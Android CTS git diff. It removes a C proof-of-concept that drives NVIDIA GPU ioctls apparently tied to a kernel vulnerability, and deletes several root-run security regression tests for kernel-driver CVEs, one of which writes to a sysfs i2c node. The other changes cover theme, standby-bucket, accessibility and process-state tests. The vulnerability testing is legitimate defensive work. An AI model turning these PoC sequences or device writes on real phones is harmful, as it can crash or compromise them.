- nvmap = open(NVMAPDEV, O_RDONLY);
- if(nvmap == -1) {
- ERR("[-] open %s failed", NVMAPDEV);
- goto __cleanup;
- }
- gpu = open(GPUDEV, O_RDONLY);
- if(gpu == -1) {
- ERR("[-] open %s failed", GPUDEV);
- goto __cleanup;
- }
- asgpu = open(ASDEV, O_RDONLY);
- if(asgpu == -1) {
- ERR("[-] open %s failed", ASDEV);
- goto __cleanup;
- }
- // bind the channel
- as_bind.channel_fd = gpu;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
- if(ret == -1) {
- ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
- goto __cleanup;
- } else {
- //LOG("[+] ioctl OK, channel is bond");
- }
-
- #if 1
- // prepare
- ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
- if(ret) {
- ERR("[-] NVMAP_IOC_CREATE failed");
- goto __cleanup;
- }
- #endif
-
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
- goto __cleanup;
- }
- free_arg.offset = alloc.o_a.offset;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
- goto __cleanup;
- }
-
-__cleanup:
- close(nvmap);
- close(gpu);
- close(asgpu);
- return 0;
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
index 7e24e8f..1592182 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -139,73 +139,6 @@
}
/**
- * b/32700935
- */
- @SecurityTest
- public void testPocCVE_2016_8435() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
- }
- }
-
- /**
- * b/31568617
- */
- @SecurityTest
- public void testPocCVE_2016_9120() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/ion")) {
- AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
- }
- }
-
- //Highs
- /**
- * b/31225246
- */
- @SecurityTest
- public void testPocCVE_2016_8412() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
- AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
- }
- }
-
- /**
- * b/31243641
- */
- @SecurityTest
- public void testPocCVE_2016_8444() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
- AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
- }
- }
-
- /**
- * b/31791148
- */
- @SecurityTest
- public void testPocCVE_2016_8448() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
- AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
- }
- }
-
- /**
- * b/31798848
- */
- @SecurityTest
- public void testPocCVE_2016_8449() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
- AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
- }
- }
-
- /**
* b/31668540
*/
@SecurityTest
@@ -217,37 +150,6 @@
}
/**
- * b/32402548
- */
- @SecurityTest
- public void testPocCVE_2017_0403() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
- }
-
- /**
- * b/32510733
- */
- @SecurityTest
- public void testPocCVE_2017_0404() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/proc/asound/version")) {
- AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
- }
- }
-
- /**
- * b/32178033
- */
- @SecurityTest
- public void testPocCVE_2016_8451() throws Exception {
- enableAdbRoot(getDevice());
- String command =
- "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
- AdbUtils.runCommandLine(command, getDevice());
- }
-
- /**
* b/32659848
*/
@SecurityTest
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
index 18bfb16..4fd98b7 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -30,47 +30,4 @@
AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
}
}
-
- /**
- * b/32636619
- */
- @SecurityTest
- public void testPocCVE_2017_0429() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
- }
- }
-
- /**
- * b/32219121
- */
- @SecurityTest
- public void testPocCVE_2016_8455() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8455", getDevice(), 60);
- }
-
- /**
- * b/32219255
- */
- @SecurityTest
- public void testPocCVE_2016_8456() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8456", getDevice(), 60);
- // CTS begins the next test before device finishes rebooting,
- // sleep to allow time for device to reboot.
- Thread.sleep(60000);
- }
-
- /**
- * b/32219453
- */
- @SecurityTest
- public void testPocCVE_2016_8457() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8457", getDevice(), 60);
- // Device takes up to 60 seconds to crash after PoC run.
- Thread.sleep(60000);
- }
- }
+}
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 4f93e5a..4bf32cd 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -67,6 +67,22 @@
./cts/hostsidetests/theme/generate_images.py
+There is an option to build locally an Android system image and use an emulator that is stored in
+Android source tree under "prebuilts/android-emulator/linux-x86_64/emulator". This option does not
+require a SDK and can be used to generate images with locally modified source code: for example
+right before making a test breaking change.
+
+ 1. From the console, set up your build environment for sdk_phone_x86_64 and build Android and CTS:
+
+ lunch sdk_phone_x86_64-userdebug && make -j32 && make cts -j32
+
+ 2. Use the reference image script to generate the reference images. The script
+ will automatically start the emulator in the required configurations and
+ install the resulting reference images in assets/<platform>/<dpi>.zip,
+ overwriting any existing images.
+
+ ./cts/hostsidetests/theme/generate_images.py local
+
A complete collection of reference images for a given API revision must include
a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
diff --git a/hostsidetests/theme/assets/P/260dpi.zip b/hostsidetests/theme/assets/P/260dpi.zip
index a1a3bcd..592b4a6 100644
--- a/hostsidetests/theme/assets/P/260dpi.zip
+++ b/hostsidetests/theme/assets/P/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/280dpi.zip b/hostsidetests/theme/assets/P/280dpi.zip
index b80d130..a7e07a7 100644
--- a/hostsidetests/theme/assets/P/280dpi.zip
+++ b/hostsidetests/theme/assets/P/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/300dpi.zip b/hostsidetests/theme/assets/P/300dpi.zip
index 8164d3d..1f38851 100644
--- a/hostsidetests/theme/assets/P/300dpi.zip
+++ b/hostsidetests/theme/assets/P/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/340dpi.zip b/hostsidetests/theme/assets/P/340dpi.zip
index fd31e68..3eb10c8 100644
--- a/hostsidetests/theme/assets/P/340dpi.zip
+++ b/hostsidetests/theme/assets/P/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/360dpi.zip b/hostsidetests/theme/assets/P/360dpi.zip
index f4dd0c0..7da3a6d 100644
--- a/hostsidetests/theme/assets/P/360dpi.zip
+++ b/hostsidetests/theme/assets/P/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/400dpi.zip b/hostsidetests/theme/assets/P/400dpi.zip
index a3bfed9..0b2293a 100644
--- a/hostsidetests/theme/assets/P/400dpi.zip
+++ b/hostsidetests/theme/assets/P/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/420dpi.zip b/hostsidetests/theme/assets/P/420dpi.zip
index 36f87c1..8a93daa 100644
--- a/hostsidetests/theme/assets/P/420dpi.zip
+++ b/hostsidetests/theme/assets/P/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/560dpi.zip b/hostsidetests/theme/assets/P/560dpi.zip
index 1800f92..4c975b2 100644
--- a/hostsidetests/theme/assets/P/560dpi.zip
+++ b/hostsidetests/theme/assets/P/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/hdpi.zip b/hostsidetests/theme/assets/P/hdpi.zip
index a0e06de..38dbf01 100644
--- a/hostsidetests/theme/assets/P/hdpi.zip
+++ b/hostsidetests/theme/assets/P/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/ldpi.zip b/hostsidetests/theme/assets/P/ldpi.zip
index d47dcdb..cb8377e 100644
--- a/hostsidetests/theme/assets/P/ldpi.zip
+++ b/hostsidetests/theme/assets/P/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/mdpi.zip b/hostsidetests/theme/assets/P/mdpi.zip
index a1b08ec..a57e44c 100644
--- a/hostsidetests/theme/assets/P/mdpi.zip
+++ b/hostsidetests/theme/assets/P/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/tvdpi.zip b/hostsidetests/theme/assets/P/tvdpi.zip
index bfa6177..bae75c2 100644
--- a/hostsidetests/theme/assets/P/tvdpi.zip
+++ b/hostsidetests/theme/assets/P/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xhdpi.zip b/hostsidetests/theme/assets/P/xhdpi.zip
index 95a5012..ea545c5 100644
--- a/hostsidetests/theme/assets/P/xhdpi.zip
+++ b/hostsidetests/theme/assets/P/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxhdpi.zip b/hostsidetests/theme/assets/P/xxhdpi.zip
index c9ccfff..7621330 100644
--- a/hostsidetests/theme/assets/P/xxhdpi.zip
+++ b/hostsidetests/theme/assets/P/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/P/xxxhdpi.zip b/hostsidetests/theme/assets/P/xxxhdpi.zip
index af4914b..8690618 100644
--- a/hostsidetests/theme/assets/P/xxxhdpi.zip
+++ b/hostsidetests/theme/assets/P/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
index 4c444a2..2a43129 100644
--- a/hostsidetests/theme/avd.py
+++ b/hostsidetests/theme/avd.py
@@ -46,8 +46,12 @@
port_adb = find_free_port()
port_tty = find_free_port()
# -no-window might be useful here
- emu_cmd = "%s -avd %s %s-ports %d,%d" \
- % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+ if self._name == "local":
+ emu_cmd = "emulator %s-ports %d,%d -gpu on -wipe-data" \
+ % (self._opts, port_adb, port_tty)
+ else:
+ emu_cmd = "%s -avd %s %s-ports %d,%d" \
+ % (self._emu_path, self._name, self._opts, port_adb, port_tty)
print(emu_cmd)
emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index c73457a..5dcc76f 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -181,7 +181,10 @@
def start_emulator(name, density):
- emu_path = get_emulator_path()
+ if name == "local":
+ emu_path = ""
+ else:
+ emu_path = get_emulator_path()
# Start emulator for 560dpi, normal screen size.
test_avd = AVD(name, emu_path)
diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index 3cd7bda..7f4f550 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
@@ -16,10 +16,16 @@
package android.app.usage.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceTestCase;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
public class AppIdleHostTest extends DeviceTestCase {
private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
@@ -28,6 +34,12 @@
private static final long ACTIVITY_LAUNCH_WAIT_MILLIS = 500;
+ private static final int SB_ACTIVE = 10;
+ private static final int SB_WORKING_SET = 20;
+ private static final int SB_FREQUENT = 30;
+ private static final int SB_RARE = 40;
+ private static final int SB_NEVER = 50;
+
/**
* A reference to the device under test.
*/
@@ -104,6 +116,47 @@
}
}
+ private void setAppStandbyBucket(String packageName, int bucket) throws Exception {
+ mDevice.executeShellCommand(
+ String.format("am set-standby-bucket %s %s", packageName, bucket));
+ }
+
+ private int getAppStandbyBucket(String packageName) throws Exception {
+ String bucketString = mDevice.executeShellCommand(
+ String.format("am get-standby-bucket %s", packageName));
+ System.err.println(bucketString);
+ try {
+ return Integer.parseInt(bucketString.trim());
+ } catch (NumberFormatException nfe) {
+ }
+ return -1;
+ }
+
+ public void testSetAppStandbyBucket() throws Exception {
+ // Set to ACTIVE
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // set to WORKING_SET
+ setAppStandbyBucket(TEST_APP_PACKAGE, 20);
+ assertEquals(20, getAppStandbyBucket(TEST_APP_PACKAGE));
+ }
+
+ public void testCantSetOwnStandbyBucket() throws Exception {
+ setAppStandbyBucket("com.android.shell", 40);
+ assertNotEquals(40, getAppStandbyBucket("com.android.shell"));
+ }
+
+ public void testOutOfBoundsStandbyBucket() throws Exception {
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // Try lower than min
+ setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE - 1);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ // Try higher than max
+ setAppStandbyBucket(TEST_APP_PACKAGE, 50 + 1);
+ assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+ }
+
private static void sleepUninterrupted(long timeMillis) {
boolean interrupted;
do {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index 30d243b..0918a3b 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
@@ -224,7 +224,7 @@
}
private void makeTestPackageStandbyActive() throws Exception {
- mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE + " 0");
+ mUiDevice.executeShellCommand("am set-standby-bucket " + TEST_APP_PACKAGE + " active");
}
private boolean waitUntilTestAppNotInTempWhitelist() throws Exception {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index b14b76a..ca9b0b0 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -16,6 +16,11 @@
package android.accessibilityservice.cts;
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.cts.R;
+import android.accessibilityservice.cts.utils.AsyncUtils;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.Notification;
@@ -30,16 +35,18 @@
import android.test.suitebuilder.annotation.MediumTest;
import android.text.TextUtils;
import android.util.Log;
+import android.view.View;
+import android.view.ViewGroup;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
-import android.accessibilityservice.cts.R;
-
import java.util.Iterator;
import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.function.Consumer;
/**
* This class performs end-to-end testing of the accessibility feature by
@@ -430,6 +437,67 @@
}
}
+ @MediumTest
+ public void testNotObservedEventTypesNotGeneratedEvent() throws Throwable {
+ // Make sure we get only click events
+ await(updateServiceInfo(info -> info.eventTypes = AccessibilityEvent.TYPE_VIEW_SELECTED));
+ try {
+ AccessibilityManager am = getActivity().getSystemService(AccessibilityManager.class);
+ assertFalse(am.isObservedEventType(AccessibilityEvent.TYPE_ANNOUNCEMENT));
+ assertTrue(am.isObservedEventType(AccessibilityEvent.TYPE_VIEW_SELECTED));
+
+ Runnable triggerEvent = () -> {
+ getActivity().runOnUiThread(() -> {
+ final ListView listView = getActivity().findViewById(R.id.listview);
+ // Enforce only AccessibilityEvents of the observed type are being created
+ listView.getRootView().setAccessibilityDelegate(
+ new View.AccessibilityDelegate() {
+ @Override
+ public boolean onRequestSendAccessibilityEvent(ViewGroup host,
+ View child, AccessibilityEvent event) {
+ assertNotSame("TYPE_ANNOUNCEMENT events shouldn't be fired",
+ AccessibilityEvent.TYPE_ANNOUNCEMENT,
+ event.getEventType());
+ return true;
+ }
+ });
+ listView.announceForAccessibility("Foo");
+ listView.setSelection(1);
+ });
+ };
+ AccessibilityEvent awaitedEvent = getInstrumentation().getUiAutomation()
+ .executeAndWaitForEvent(triggerEvent,
+ event -> event.getEventType() == AccessibilityEvent.TYPE_VIEW_SELECTED,
+ TIMEOUT_ASYNC_PROCESSING);
+ assertNotNull("Did not receive expected event", awaitedEvent);
+ } finally {
+ // Reset to listen to all events
+ updateServiceInfo(info -> info.eventTypes = AccessibilityEvent.TYPES_ALL_MASK);
+ }
+ }
+
+ private CompletableFuture<Void> updateServiceInfo(Consumer<AccessibilityServiceInfo> update) {
+ final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+ final AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
+
+ CompletableFuture<Void> result = new CompletableFuture<>();
+ getActivity().getSystemService(AccessibilityManager.class)
+ .addAccessibilityServicesStateChangeListener(
+ new AccessibilityManager.AccessibilityServicesStateChangeListener() {
+ @Override
+ public void onAccessibilityServicesStateChanged(
+ AccessibilityManager a) {
+ result.complete(null);
+ a.removeAccessibilityServicesStateChangeListener(this);
+ }
+ }, null);
+
+ update.accept(info);
+ uiAutomation.setServiceInfo(info);
+
+ return result;
+ }
+
/**
* Compares all properties of the <code>first</code> and the
* <code>second</code>.
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7c1ed0d..3ea386e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -35,10 +35,13 @@
import android.os.PowerManager;
import android.os.RemoteException;
import android.test.InstrumentationTestCase;
+import android.util.Log;
import com.android.compatibility.common.util.SystemUtil;
public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+ private static final String TAG = ActivityManagerProcessStateTest.class.getName();
+
private static final String STUB_PACKAGE_NAME = "android.app.stubs";
private static final int WAIT_TIME = 2000;
// A secondary test activity from another APK.
@@ -50,6 +53,8 @@
public static String ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT =
"com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
+ private static final int TEMP_WHITELIST_DURATION_MS = 2000;
+
private Context mContext;
private Instrumentation mInstrumentation;
private Intent mServiceIntent;
@@ -70,11 +75,18 @@
mAllProcesses[1] = mService2Intent;
mContext.stopService(mServiceIntent);
mContext.stopService(mService2Intent);
+ removeTestAppFromWhitelists();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ private void removeTestAppFromWhitelists() throws Exception {
+ executeShellCmd("cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME);
+ executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
+ }
+
+ private String executeShellCmd(String cmd) throws Exception {
+ final String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
+ return result;
}
/**
@@ -162,7 +174,7 @@
// Also make sure the uid state reports are as expected. Wait for active because
// there may be some intermediate states as the process comes up.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Pull out the service IBinder for a kludy hack...
@@ -206,7 +218,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Bring down one service, app state should remain foreground.
@@ -232,7 +244,7 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
// Bring up other service, should remain foreground.
@@ -350,7 +362,8 @@
}
// Put app on temporary whitelist to see if this allows the service start.
- cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
+ cmd = String.format("cmd deviceidle tempwhitelist -d %d %s",
+ TEMP_WHITELIST_DURATION_MS, SIMPLE_PACKAGE_NAME);
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
// Try starting the service now that the app is whitelisted... should work!
@@ -359,7 +372,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Good, now stop the service and give enough time to get off the temp whitelist.
@@ -369,7 +382,7 @@
uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
- Thread.sleep(3000);
+ executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
// Going off the temp whitelist causes a spurious proc state report... that's
// not ideal, but okay.
@@ -401,7 +414,7 @@
mContext.startService(serviceIntent);
conn.waitForConnect(WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Okay, bring down the service.
@@ -533,7 +546,7 @@
// Also make sure the uid state reports are as expected.
uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
conn2.unbind(WAIT_TIME);
@@ -551,7 +564,7 @@
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
- uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// And also start the second service.
@@ -636,13 +649,13 @@
// Track the uid proc state changes from the broadcast (but not service execution)
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
// Put app on temporary whitelist to see if this allows the service start.
- controller.tempWhitelist(2000);
+ controller.tempWhitelist(TEMP_WHITELIST_DURATION_MS);
// Being on the whitelist means the uid is now active.
controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
@@ -657,7 +670,7 @@
conn.waitForConnect(WAIT_TIME);
// Also make sure the uid state reports are as expected.
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
// We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
// proc state depending on timing.
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -669,7 +682,7 @@
controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
- Thread.sleep(3000);
+ controller.removeFromTempWhitelist();
// Going off the temp whitelist causes a spurious proc state report... that's
// not ideal, but okay.
@@ -711,7 +724,7 @@
conn.waitForConnect(WAIT_TIME);
// Also make sure the uid state reports are as expected.
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// Okay, bring down the service.
@@ -770,7 +783,7 @@
? "TOP" : "TPSL";
// Also make sure the uid state reports are as expected.
controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
expectedActivityState, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -785,7 +798,7 @@
// App isn't yet idle, so we should be able to start the service again.
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
- controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
// And now fast-forward to the app going idle, service should be stopped.
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 9cad7a3..0c9f48d 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -123,6 +123,11 @@
String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
}
+ public void removeFromTempWhitelist() throws IOException {
+ String cmd = "cmd deviceidle tempwhitelist -r " + mServicePackage;
+ SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
public void cleanup() throws IOException {
removeFromWhitelist();
allowBackgroundOp();
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
index 84ead4f..8740273 100644
--- a/tests/autofillservice/res/layout/webview_activity.xml
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -14,8 +14,55 @@
* See the License for the specific language governing permissions and
* limitations under the License.
-->
-<android.autofillservice.cts.MyWebView xmlns:android="http://schemas.android.com/apk/res/android"
- android:id="@+id/webview"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
-/>
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <LinearLayout
+ android:id="@+id/outsideContainer1"
+ android:visibility="gone"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Outside 1" />
+
+ <EditText
